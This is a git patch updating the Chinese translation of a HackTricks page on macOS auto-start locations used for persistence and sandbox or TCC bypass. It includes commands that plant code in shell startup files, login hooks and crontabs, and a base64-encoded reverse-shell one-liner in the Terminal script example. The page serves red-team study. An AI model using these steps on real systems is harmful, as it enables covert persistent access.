From 4487d79d618377580947bdfd5dd753c8f4dd5088 Mon Sep 17 00:00:00 2001 From: Translator Date: Sat, 21 Sep 2024 18:26:25 +0000 Subject: [PATCH] Translated ['macos-hardening/macos-auto-start-locations.md', 'macos-hard --- SUMMARY.md | 3 +- macos-hardening/macos-auto-start-locations.md | 884 +++++++++--------- .../macos-sensitive-locations.md | 74 +- .../macos-security-protections/macos-macf.md | 268 ++++++ .../macos-users.md | 24 +- 5 files changed, 780 insertions(+), 473 deletions(-) create mode 100644 macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf.md diff --git a/SUMMARY.md b/SUMMARY.md index d457055e9..7b8ed8fc2 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -196,9 +196,10 @@ * [macOS Apple Scripts](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md) * [macOS TCC Payloads](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md) * [macOS Dangerous Entitlements & TCC perms](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md) + * [macOS MACF](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf.md) * [macOS FS Tricks](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md) * [macOS xattr-acls extra stuff](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md) - * [macOS Users](macos-hardening/macos-security-and-privilege-escalation/macos-users.md) + * [macOS Users & External Accounts](macos-hardening/macos-security-and-privilege-escalation/macos-users.md) * [macOS Red Teaming](macos-hardening/macos-red-teaming/README.md) * [macOS MDM](macos-hardening/macos-red-teaming/macos-mdm/README.md) * [Enrolling Devices in Other Organisations](macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md) diff --git a/macos-hardening/macos-auto-start-locations.md b/macos-hardening/macos-auto-start-locations.md index c9c62f9df..ee80028b3 100644 --- a/macos-hardening/macos-auto-start-locations.md +++ b/macos-hardening/macos-auto-start-locations.md @@ -1,70 +1,70 @@ -# macOS自动启动 +# macOS 自动启动 {% hint style="success" %} -学习和实践AWS Hacking:[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -学习和实践GCP Hacking:[**HackTricks培训GCP红队专家(GRTE)**](https://training.hacktricks.xyz/courses/grte) +学习和实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习和实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-支持HackTricks +支持 HackTricks -* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
{% endhint %} -本节内容主要基于博客系列[**超越传统的LaunchAgents**](https://theevilbit.github.io/beyond/),旨在添加**更多自动启动位置**(如果可能的话),指出**哪些技术**在最新版本的macOS(13.4)中仍然有效,并指定所需的**权限**。 +本节内容主要基于博客系列 [**超越传统的 LaunchAgents**](https://theevilbit.github.io/beyond/),目标是添加 **更多自动启动位置**(如果可能),指明 **哪些技术在最新版本的 macOS(13.4)中仍然有效**,并指定所需的 **权限**。 ## 沙盒绕过 {% hint style="success" %} -在这里,您可以找到有用于**绕过沙盒**的启动位置,允许您通过**将其写入文件**并**等待**一个非常**常见的** **操作**,一定的**时间**或通常可以在沙盒内执行的**操作**,而无需需要root权限。 +在这里,您可以找到对 **沙盒绕过** 有用的启动位置,这允许您通过 **将其写入文件** 并 **等待** 一个非常 **常见** 的 **操作**、特定的 **时间** 或您通常可以在沙盒内执行的 **操作** 来简单地执行某些内容,而无需根权限。 {% endhint %} ### Launchd -* 用于绕过沙盒:[✅](https://emojipedia.org/check-mark-button) -* TCC绕过:[🔴](https://emojipedia.org/large-red-circle) +* 有助于绕过沙盒:[✅](https://emojipedia.org/check-mark-button) +* TCC 绕过:[🔴](https://emojipedia.org/large-red-circle) #### 位置 * **`/Library/LaunchAgents`** -* **触发器**:重启 -* 需要Root权限 +* **触发**:重启 +* 需要根权限 * **`/Library/LaunchDaemons`** -* **触发器**:重启 -* 需要Root权限 +* **触发**:重启 +* 需要根权限 * **`/System/Library/LaunchAgents`** -* **触发器**:重启 -* 需要Root权限 +* **触发**:重启 +* 需要根权限 * **`/System/Library/LaunchDaemons`** -* **触发器**:重启 -* 需要Root权限 +* **触发**:重启 +* 需要根权限 * **`~/Library/LaunchAgents`** -* **触发器**:重新登录 +* **触发**:重新登录 * **`~/Library/LaunchDemons`** -* **触发器**:重新登录 +* **触发**:重新登录 {% hint style="success" %} -有趣的是,**`launchd`**在Mach-o部分`__Text.__config`中嵌入了一个属性列表,其中包含其他众所周知的服务,launchd必须启动这些服务。此外,这些服务可以包含`RequireSuccess`、`RequireRun`和`RebootOnSuccess`,这意味着它们必须运行并成功完成。 +有趣的是,**`launchd`** 在 Mach-o 部分 `__Text.__config` 中嵌入了一个属性列表,其中包含其他知名服务,launchd 必须启动。此外,这些服务可以包含 `RequireSuccess`、`RequireRun` 和 `RebootOnSuccess`,这意味着它们必须运行并成功完成。 当然,由于代码签名,它无法被修改。 {% endhint %} -#### 描述和利用 +#### 描述与利用 -**`launchd`**是由OX S内核在启动时执行的**第一个** **进程**,也是在关机时完成的最后一个进程。它应该始终具有**PID 1**。此进程将**读取和执行**在以下**ASEP** **plist**中指示的配置: +**`launchd`** 是 OX S 内核在启动时执行的 **第一个** **进程**,并且在关机时是最后一个完成的进程。它应该始终具有 **PID 1**。该进程将 **读取并执行** 在以下 **ASEP** **plist** 中指示的配置: -* `/Library/LaunchAgents`:由管理员安装的每个用户代理 -* `/Library/LaunchDaemons`:由管理员安装的系统范围守护程序 -* `/System/Library/LaunchAgents`:由Apple提供的每个用户代理。 -* `/System/Library/LaunchDaemons`:由Apple提供的系统范围守护程序。 +* `/Library/LaunchAgents`:由管理员安装的每用户代理 +* `/Library/LaunchDaemons`:由管理员安装的系统范围守护进程 +* `/System/Library/LaunchAgents`:由 Apple 提供的每用户代理。 +* `/System/Library/LaunchDaemons`:由 Apple 提供的系统范围守护进程。 -当用户登录时,位于`/Users/$USER/Library/LaunchAgents`和`/Users/$USER/Library/LaunchDemons`中的plist将以**已登录用户的权限**启动。 +当用户登录时,位于 `/Users/$USER/Library/LaunchAgents` 和 `/Users/$USER/Library/LaunchDemons` 的 plist 将以 **登录用户的权限** 启动。 -**代理和守护程序之间的主要区别在于代理在用户登录时加载,而守护程序在系统启动时加载**(因为有些服务如ssh需要在任何用户访问系统之前执行)。此外,代理可能使用GUI,而守护程序需要在后台运行。 +**代理和守护进程之间的主要区别在于,代理在用户登录时加载,而守护进程在系统启动时加载**(因为有些服务如 ssh 需要在任何用户访问系统之前执行)。此外,代理可以使用 GUI,而守护进程需要在后台运行。 ```xml @@ -87,79 +87,79 @@ ``` -有些情况下,需要在用户登录之前执行代理,这些被称为**PreLoginAgents**。例如,这对于在登录时提供辅助技术非常有用。它们也可以在`/Library/LaunchAgents`中找到(查看[**这里**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents)一个示例)。 +有些情况下,**代理需要在用户登录之前执行**,这些被称为**PreLoginAgents**。例如,这在登录时提供辅助技术是有用的。它们也可以在`/Library/LaunchAgents`中找到(请参见[**这里**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents)的示例)。 {% hint style="info" %} -新的守护程序或代理配置文件将在**下次重启后加载**,或使用`launchctl load `。也可以使用`launchctl -F `加载没有扩展名的.plist文件(但这些.plist文件在重启后不会自动加载)。\ -也可以使用`launchctl unload `来**卸载**(指向它的进程将被终止)。 +新的守护进程或代理配置文件将在**下次重启后或使用** `launchctl load ` **加载**。也可以使用`launchctl -F ` **加载没有该扩展名的.plist文件**(但是这些plist文件在重启后不会自动加载)。\ +也可以使用`launchctl unload ` **卸载**(指向的进程将被终止), -为了**确保**没有**任何东西**(如覆盖)**阻止**一个**代理**或**守护程序** **运行**,运行:`sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist` +要**确保**没有**任何**(如覆盖)**阻止**代理或守护进程**运行**,请运行:`sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist` {% endhint %} -列出当前用户加载的所有代理和守护程序: +列出当前用户加载的所有代理和守护进程: ```bash launchctl list ``` {% hint style="warning" %} -如果一个 plist 文件是由用户拥有的,即使它在守护程序系统范围的文件夹中,**任务将作为用户执行**而不是作为 root。这可以防止一些特权升级攻击。 +如果一个 plist 文件属于一个用户,即使它在守护进程的系统范围文件夹中,**任务将以用户身份执行**而不是以 root 身份执行。这可以防止某些特权升级攻击。 {% endhint %} #### 关于 launchd 的更多信息 -**`launchd`** 是从**内核**启动的**第一个**用户模式进程。进程启动必须是**成功的**,它**不能退出或崩溃**。甚至对一些**终止信号**也是**受保护**的。 +**`launchd`** 是从 **内核** 启动的 **第一个** 用户模式进程。进程启动必须是 **成功的**,并且 **不能退出或崩溃**。它甚至对某些 **杀死信号** 进行了 **保护**。 -`launchd` 要做的第一件事情之一是**启动**所有的**守护程序**,比如: +`launchd` 首先要做的事情之一是 **启动** 所有的 **守护进程**,例如: -* 基于时间执行的**定时守护程序**: - * atd (`com.apple.atrun.plist`):具有 30 分钟的 `StartInterval` - * crond (`com.apple.systemstats.daily.plist`):具有 `StartCalendarInterval` 在 00:15 启动 -* 像**网络守护程序**一样: - * `org.cups.cups-lpd`:在 TCP 上监听(`SockType: stream`),使用 `SockServiceName: printer` - * SockServiceName 必须是端口或 `/etc/services` 中的服务 - * `com.apple.xscertd.plist`:在端口 1640 上监听 TCP -* 当指定路径发生更改时执行的**路径守护程序**: - * `com.apple.postfix.master`:检查路径 `/etc/postfix/aliases` -* **IOKit 通知守护程序**: - * `com.apple.xartstorageremoted`:`"com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...` -* **Mach 端口**: - * `com.apple.xscertd-helper.plist`:在 `MachServices` 条目中指示名称 `com.apple.xscertd.helper` -* **UserEventAgent**: - * 这与前面的不同。它使 launchd 为特定事件的响应生成应用程序。但在这种情况下,涉及的主要二进制文件不是 `launchd` 而是 `/usr/libexec/UserEventAgent`。它从 SIP 受限制的文件夹 `/System/Library/UserEventPlugins/` 中加载插件,其中每个插件在 `XPCEventModuleInitializer` 键中指示其初始化器,或者在旧插件的情况下,在其 `Info.plist` 的 `CFPluginFactories` 字典下的键 `FB86416D-6164-2070-726F-70735C216EC0` 中指示其初始化器。 +* 基于时间执行的 **定时守护进程**: +* atd (`com.apple.atrun.plist`): 有一个 `StartInterval` 为 30 分钟 +* crond (`com.apple.systemstats.daily.plist`): 有 `StartCalendarInterval` 在 00:15 启动 +* **网络守护进程**,例如: +* `org.cups.cups-lpd`: 在 TCP (`SockType: stream`) 上监听,`SockServiceName: printer` +* SockServiceName 必须是 `/etc/services` 中的端口或服务 +* `com.apple.xscertd.plist`: 在 TCP 端口 1640 上监听 +* **路径守护进程**,在指定路径更改时执行: +* `com.apple.postfix.master`: 检查路径 `/etc/postfix/aliases` +* **IOKit 通知守护进程**: +* `com.apple.xartstorageremoted`: `"com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...` +* **Mach 端口:** +* `com.apple.xscertd-helper.plist`: 在 `MachServices` 条目中指示名称 `com.apple.xscertd.helper` +* **UserEventAgent:** +* 这与之前的不同。它使 launchd 在响应特定事件时生成应用程序。然而,在这种情况下,涉及的主要二进制文件不是 `launchd`,而是 `/usr/libexec/UserEventAgent`。它从 SIP 受限文件夹 /System/Library/UserEventPlugins/ 加载插件,每个插件在 `XPCEventModuleInitializer` 键中指示其初始化程序,或者在旧插件的情况下,在其 `Info.plist` 的 `FB86416D-6164-2070-726F-70735C216EC0` 键下的 `CFPluginFactories` 字典中。 ### shell 启动文件 Writeup: [https://theevilbit.github.io/beyond/beyond\_0001/](https://theevilbit.github.io/beyond/beyond\_0001/)\ Writeup (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/) -* 用于绕过沙盒:[✅](https://emojipedia.org/check-mark-button) -* TCC 绕过:[✅](https://emojipedia.org/check-mark-button) -* 但是您需要找到一个具有 TCC 绕过的应用程序,执行加载这些文件的 shell +* 有助于绕过沙盒: [✅](https://emojipedia.org/check-mark-button) +* TCC 绕过: [✅](https://emojipedia.org/check-mark-button) +* 但你需要找到一个具有 TCC 绕过的应用程序,该应用程序执行一个加载这些文件的 shell #### 位置 * **`~/.zshrc`, `~/.zlogin`, `~/.zshenv.zwc`**, **`~/.zshenv`, `~/.zprofile`** - * **触发**:使用 zsh 打开终端 +* **触发**: 打开一个 zsh 终端 * **`/etc/zshenv`, `/etc/zprofile`, `/etc/zshrc`, `/etc/zlogin`** - * **触发**:使用 zsh 打开终端 - * 需要 root 权限 +* **触发**: 打开一个 zsh 终端 +* 需要 root 权限 * **`~/.zlogout`** - * **触发**:使用 zsh 退出终端 +* **触发**: 退出一个 zsh 终端 * **`/etc/zlogout`** - * **触发**:使用 zsh 退出终端 - * 需要 root 权限 -* 可能还有更多在:**`man zsh`** +* **触发**: 退出一个 zsh 终端 +* 需要 root 权限 +* 可能还有更多在: **`man zsh`** * **`~/.bashrc`** - * **触发**:使用 bash 打开终端 -* `/etc/profile`(未起作用) -* `~/.profile`(未起作用) +* **触发**: 打开一个 bash 终端 +* `/etc/profile` (未能工作) +* `~/.profile` (未能工作) * `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/` - * **触发**:预期与 xterm 触发,但**未安装**,即使安装后也会出现此错误:xterm: `DISPLAY is not set` +* **触发**: 预计在 xterm 中触发,但 **未安装**,即使安装后也会抛出此错误: xterm: `DISPLAY is not set` #### 描述与利用 -当初始化 shell 环境(如 `zsh` 或 `bash`)时,**会运行某些启动文件**。macOS 当前使用 `/bin/zsh` 作为默认 shell。当启动终端应用程序或通过 SSH 访问设备时,将自动访问此 shell。虽然 macOS 中也存在 `bash` 和 `sh`,但需要显式调用才能使用。 +当启动一个 shell 环境,如 `zsh` 或 `bash` 时,**会运行某些启动文件**。macOS 当前使用 `/bin/zsh` 作为默认 shell。当启动终端应用程序或通过 SSH 访问设备时,自动访问此 shell。虽然 `bash` 和 `sh` 也存在于 macOS 中,但需要显式调用才能使用。 -我们可以使用 **`man zsh`** 阅读 zsh 的 man 页面,其中有关启动文件的详细描述。 +zsh 的手册页,我们可以通过 **`man zsh`** 阅读,详细描述了启动文件。 ```bash # Example executino via ~/.zshrc echo "touch /tmp/hacktricks" >> ~/.zshrc @@ -167,28 +167,28 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc ### 重新打开的应用程序 {% hint style="danger" %} -配置指定的利用方式,注销并重新登录,甚至重新启动都无法让我执行该应用程序。(应用程序没有被执行,也许需要在执行这些操作时保持运行) +配置所示的利用和注销再登录或甚至重启对我执行应用程序没有效果。(应用程序没有被执行,也许在执行这些操作时需要它正在运行) {% endhint %} -**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0021/](https://theevilbit.github.io/beyond/beyond\_0021/) +**写作**: [https://theevilbit.github.io/beyond/beyond\_0021/](https://theevilbit.github.io/beyond/beyond\_0021/) -* 有用的绕过沙盒: [✅](https://emojipedia.org/check-mark-button) -* TCC绕过: [🔴](https://emojipedia.org/large-red-circle) +* 有助于绕过沙盒: [✅](https://emojipedia.org/check-mark-button) +* TCC 绕过: [🔴](https://emojipedia.org/large-red-circle) #### 位置 * **`~/Library/Preferences/ByHost/com.apple.loginwindow..plist`** -* **触发器**: 重新打开应用程序 +* **触发器**: 重启重新打开应用程序 -#### 描述和利用 +#### 描述与利用 -所有要重新打开的应用程序都在 plist 文件 `~/Library/Preferences/ByHost/com.apple.loginwindow..plist` 中。 +所有要重新打开的应用程序都在 plist `~/Library/Preferences/ByHost/com.apple.loginwindow..plist` 中 -因此,要让重新打开的应用程序启动您自己的应用程序,您只需要**将您的应用程序添加到列表中**。 +因此,要使重新打开的应用程序启动您自己的应用程序,您只需 **将您的应用程序添加到列表中**。 -UUID 可以在列出该目录或使用 `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'` 找到。 +UUID 可以通过列出该目录或使用 `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'` 找到 -要检查将要重新打开的应用程序,您可以执行以下操作: +要检查将要重新打开的应用程序,您可以执行: ```bash defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin #or @@ -204,26 +204,26 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow..plist -c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \ ~/Library/Preferences/ByHost/com.apple.loginwindow..plist ``` -### 终端偏好设置 +### Terminal Preferences -* 有用于绕过沙盒: [✅](https://emojipedia.org/check-mark-button) -* TCC绕过: [✅](https://emojipedia.org/check-mark-button) -* 终端用于拥有用户的FDA权限 +* 有助于绕过沙盒: [✅](https://emojipedia.org/check-mark-button) +* TCC 绕过: [✅](https://emojipedia.org/check-mark-button) +* 终端使用用户的 FDA 权限 -#### 位置 +#### Location * **`~/Library/Preferences/com.apple.Terminal.plist`** -* **触发器**: 打开终端 +* **Trigger**: 打开终端 -#### 描述与利用 +#### Description & Exploitation -在**`~/Library/Preferences`**中存储了用户在应用程序中的偏好设置。其中一些偏好设置可以包含配置来**执行其他应用程序/脚本**。 +在 **`~/Library/Preferences`** 中存储用户在应用程序中的偏好设置。这些偏好设置中的一些可以包含 **执行其他应用程序/脚本** 的配置。 -例如,终端可以在启动时执行一个命令: +例如,终端可以在启动时执行一个命令:
-这个配置反映在文件**`~/Library/Preferences/com.apple.Terminal.plist`**中,如下所示: +此配置在文件 **`~/Library/Preferences/com.apple.Terminal.plist`** 中反映如下: ```bash [...] "Window Settings" => { @@ -239,9 +239,9 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow..plist } [...] ``` -所以,如果系统中终端的偏好设置的 plist 文件被覆盖,那么可以使用 **`open`** 功能来**打开终端并执行该命令**。 +所以,如果系统中终端的偏好设置的plist可以被覆盖,那么**`open`**功能可以用来**打开终端并执行该命令**。 -您可以通过以下命令行添加此功能: +您可以通过cli添加此内容: {% code overflow="wrap" %} ```bash @@ -256,20 +256,20 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow..plist ### 终端脚本 / 其他文件扩展名 -* 用于绕过沙盒的有用技术: [✅](https://emojipedia.org/check-mark-button) -* TCC绕过: [✅](https://emojipedia.org/check-mark-button) -* 终端用于拥有用户的FDA权限 +* 有助于绕过沙盒: [✅](https://emojipedia.org/check-mark-button) +* TCC 绕过: [✅](https://emojipedia.org/check-mark-button) +* 终端使用用户的 FDA 权限 #### 位置 * **任何地方** -* **触发器**: 打开终端 +* **触发**: 打开终端 -#### 描述 & 利用 +#### 描述与利用 -如果您创建一个[**`.terminal`**脚本](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx)并打开它,**终端应用程序**将自动调用以执行其中指定的命令。如果终端应用程序具有一些特殊权限(如TCC),您的命令将以这些特殊权限运行。 +如果你创建一个 [**`.terminal`** 脚本](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) 并打开,**终端应用程序**将自动调用以执行其中指示的命令。如果终端应用程序具有某些特殊权限(例如 TCC),你的命令将以这些特殊权限运行。 -尝试使用: +尝试使用: ```bash # Prepare the payload cat > /tmp/test.terminal << EOF @@ -297,46 +297,46 @@ open /tmp/test.terminal # Use something like the following for a reverse shell: echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash; ``` -您还可以使用扩展名**`.command`**、**`.tool`**,带有常规shell脚本内容,它们也将被终端打开。 +您还可以使用扩展名 **`.command`**、**`.tool`**,并包含常规 shell 脚本内容,它们也将由终端打开。 {% hint style="danger" %} -如果终端具有**完全磁盘访问权限**,它将能够完成该操作(请注意,执行的命令将在终端窗口中可见)。 +如果终端具有 **完全磁盘访问权限**,它将能够完成该操作(请注意,执行的命令将在终端窗口中可见)。 {% endhint %} ### 音频插件 -Writeup: [https://theevilbit.github.io/beyond/beyond\_0013/](https://theevilbit.github.io/beyond/beyond\_0013/)\ -Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882) +写作: [https://theevilbit.github.io/beyond/beyond\_0013/](https://theevilbit.github.io/beyond/beyond\_0013/)\ +写作: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882) -* 用于绕过沙箱:[✅](https://emojipedia.org/check-mark-button) -* TCC绕过:[🟠](https://emojipedia.org/large-orange-circle) -* 您可能会获得一些额外的TCC访问权限 +* 有助于绕过沙盒: [✅](https://emojipedia.org/check-mark-button) +* TCC 绕过: [🟠](https://emojipedia.org/large-orange-circle) +* 您可能会获得一些额外的 TCC 访问权限 #### 位置 * **`/Library/Audio/Plug-Ins/HAL`** -* 需要Root权限 -* **触发器**:重新启动coreaudiod或计算机 +* 需要 root 权限 +* **触发**: 重启 coreaudiod 或计算机 * **`/Library/Audio/Plug-ins/Components`** -* 需要Root权限 -* **触发器**:重新启动coreaudiod或计算机 +* 需要 root 权限 +* **触发**: 重启 coreaudiod 或计算机 * **`~/Library/Audio/Plug-ins/Components`** -* **触发器**:重新启动coreaudiod或计算机 +* **触发**: 重启 coreaudiod 或计算机 * **`/System/Library/Components`** -* 需要Root权限 -* **触发器**:重新启动coreaudiod或计算机 +* 需要 root 权限 +* **触发**: 重启 coreaudiod 或计算机 #### 描述 -根据先前的写作,可以**编译一些音频插件**并加载它们。 +根据之前的写作,可以 **编译一些音频插件** 并使其加载。 -### QuickLook插件 +### QuickLook 插件 -Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/) +写作: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/) -* 用于绕过沙箱:[✅](https://emojipedia.org/check-mark-button) -* TCC绕过:[🟠](https://emojipedia.org/large-orange-circle) -* 您可能会获得一些额外的TCC访问权限 +* 有助于绕过沙盒: [✅](https://emojipedia.org/check-mark-button) +* TCC 绕过: [🟠](https://emojipedia.org/large-orange-circle) +* 您可能会获得一些额外的 TCC 访问权限 #### 位置 @@ -348,27 +348,27 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit. #### 描述与利用 -当您**触发文件的预览**(在Finder中选择文件后按空格键)并安装了**支持该文件类型**的插件时,QuickLook插件可以被执行。 +当您 **触发文件的预览**(在 Finder 中选择文件后按空格键)并且安装了 **支持该文件类型的插件** 时,可以执行 QuickLook 插件。 -您可以编译自己的QuickLook插件,将其放在上述位置之一以加载它,然后转到支持的文件并按空格键触发它。 +可以编译自己的 QuickLook 插件,将其放置在上述位置之一以加载,然后转到支持的文件并按空格键以触发它。 -### ~~登录/注销挂钩~~ +### ~~登录/注销钩子~~ {% hint style="danger" %} -对我来说这行不通,无论是用户LoginHook还是root LogoutHook +这对我不起作用,无论是用户 LoginHook 还是 root LogoutHook {% endhint %} -**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0022/](https://theevilbit.github.io/beyond/beyond\_0022/) +**写作**: [https://theevilbit.github.io/beyond/beyond\_0022/](https://theevilbit.github.io/beyond/beyond\_0022/) -* 用于绕过沙箱:[✅](https://emojipedia.org/check-mark-button) -* TCC绕过:[🔴](https://emojipedia.org/large-red-circle) +* 有助于绕过沙盒: [✅](https://emojipedia.org/check-mark-button) +* TCC 绕过: [🔴](https://emojipedia.org/large-red-circle) #### 位置 -* 您需要能够执行类似`defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh`的命令 -* 位于`~/Library/Preferences/com.apple.loginwindow.plist` +* 您需要能够执行类似 `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh` 的命令 +* 位于 `~/Library/Preferences/com.apple.loginwindow.plist` -它们已被弃用,但可用于在用户登录时执行命令。 +它们已被弃用,但可以在用户登录时执行命令。 ```bash cat > $HOME/hook.sh << EOF #!/bin/bash @@ -378,7 +378,7 @@ chmod +x $HOME/hook.sh defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh ``` -这个设置存储在 `/Users/$USER/Library/Preferences/com.apple.loginwindow.plist` 文件中。 +此设置存储在 `/Users/$USER/Library/Preferences/com.apple.loginwindow.plist` ```bash defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist { @@ -395,45 +395,45 @@ oneTimeSSMigrationComplete = 1; defaults delete com.apple.loginwindow LoginHook defaults delete com.apple.loginwindow LogoutHook ``` -**根用户**的启动位置存储在**`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`** +The root user one is stored in **`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`** -## 条件沙盒绕过 +## 条件沙箱绕过 {% hint style="success" %} -在这里,您可以找到对**沙盒绕过**有用的启动位置,允许您通过**将内容写入文件**并**期望不是非常常见的条件**(如特定**已安装的程序、"不寻常"用户**操作或环境)来简单执行某些操作。 +在这里您可以找到对**沙箱绕过**有用的启动位置,这允许您通过**将其写入文件**并**期望不太常见的条件**(如特定的**已安装程序**、"不常见"用户**操作**或环境)来简单地执行某些操作。 {% endhint %} ### Cron -**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0004/](https://theevilbit.github.io/beyond/beyond\_0004/) +**写作**: [https://theevilbit.github.io/beyond/beyond\_0004/](https://theevilbit.github.io/beyond/beyond\_0004/) -* 用于绕过沙盒的有用性: [✅](https://emojipedia.org/check-mark-button) -* 但是,您需要能够执行 `crontab` 二进制文件 -* 或者是 root -* TCC 绕过: [🔴](https://emojipedia.org/large-red-circle) +* 有助于绕过沙箱: [✅](https://emojipedia.org/check-mark-button) +* 但是,您需要能够执行`crontab`二进制文件 +* 或者是root +* TCC绕过: [🔴](https://emojipedia.org/large-red-circle) #### 位置 * **`/usr/lib/cron/tabs/`, `/private/var/at/tabs`, `/private/var/at/jobs`, `/etc/periodic/`** -* 需要 root 权限才能直接写入。如果您可以执行 `crontab `,则无需 root 权限 -* **触发器**:取决于 cron 作业 +* 直接写入访问需要root。如果您可以执行`crontab `,则不需要root +* **触发**: 取决于cron作业 -#### 描述和利用 +#### 描述与利用 -列出**当前用户**的 cron 作业: +列出**当前用户**的cron作业: ```bash crontab -l ``` -您还可以查看**`/usr/lib/cron/tabs/`**和**`/var/at/tabs/`**中用户的所有cron作业(需要root权限)。 +您还可以在 **`/usr/lib/cron/tabs/`** 和 **`/var/at/tabs/`** 中查看所有用户的 cron 作业(需要 root 权限)。 -在MacOS中,可以找到几个以**特定频率**执行脚本的文件夹: +在 MacOS 中,可以在以下文件夹中找到以 **特定频率** 执行脚本的多个文件夹: ```bash # The one with the cron jobs is /usr/lib/cron/tabs/ ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/ ``` -在这里,您可以找到常规的**cron** **作业**,**at** **作业**(不太常用),以及**periodic** **作业**(主要用于清理临时文件)。 比如,可以使用`periodic daily`来执行每日的周期性作业。 +在那里您可以找到常规的 **cron** **作业**、**at** **作业**(不常用)和 **周期性** **作业**(主要用于清理临时文件)。每日周期性作业可以通过以下方式执行:`periodic daily`。 -要通过编程方式添加**用户cron作业**,可以使用: +要以编程方式添加 **用户 cronjob**,可以使用: ```bash echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron crontab /tmp/cron @@ -442,11 +442,11 @@ crontab /tmp/cron Writeup: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilbit.github.io/beyond/beyond\_0002/) -* 用于绕过沙盒的有用工具: [✅](https://emojipedia.org/check-mark-button) -* TCC绕过: [✅](https://emojipedia.org/check-mark-button) -* iTerm2曾经被授予TCC权限 +* 有助于绕过沙盒: [✅](https://emojipedia.org/check-mark-button) +* TCC 绕过: [✅](https://emojipedia.org/check-mark-button) +* iTerm2 曾经获得 TCC 权限 -#### 位置 +#### Locations * **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** * **触发器**: 打开 iTerm @@ -455,7 +455,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilbit. * **`~/Library/Preferences/com.googlecode.iterm2.plist`** * **触发器**: 打开 iTerm -#### 描述与利用 +#### Description & Exploitation 存储在 **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** 中的脚本将被执行。例如: ```bash @@ 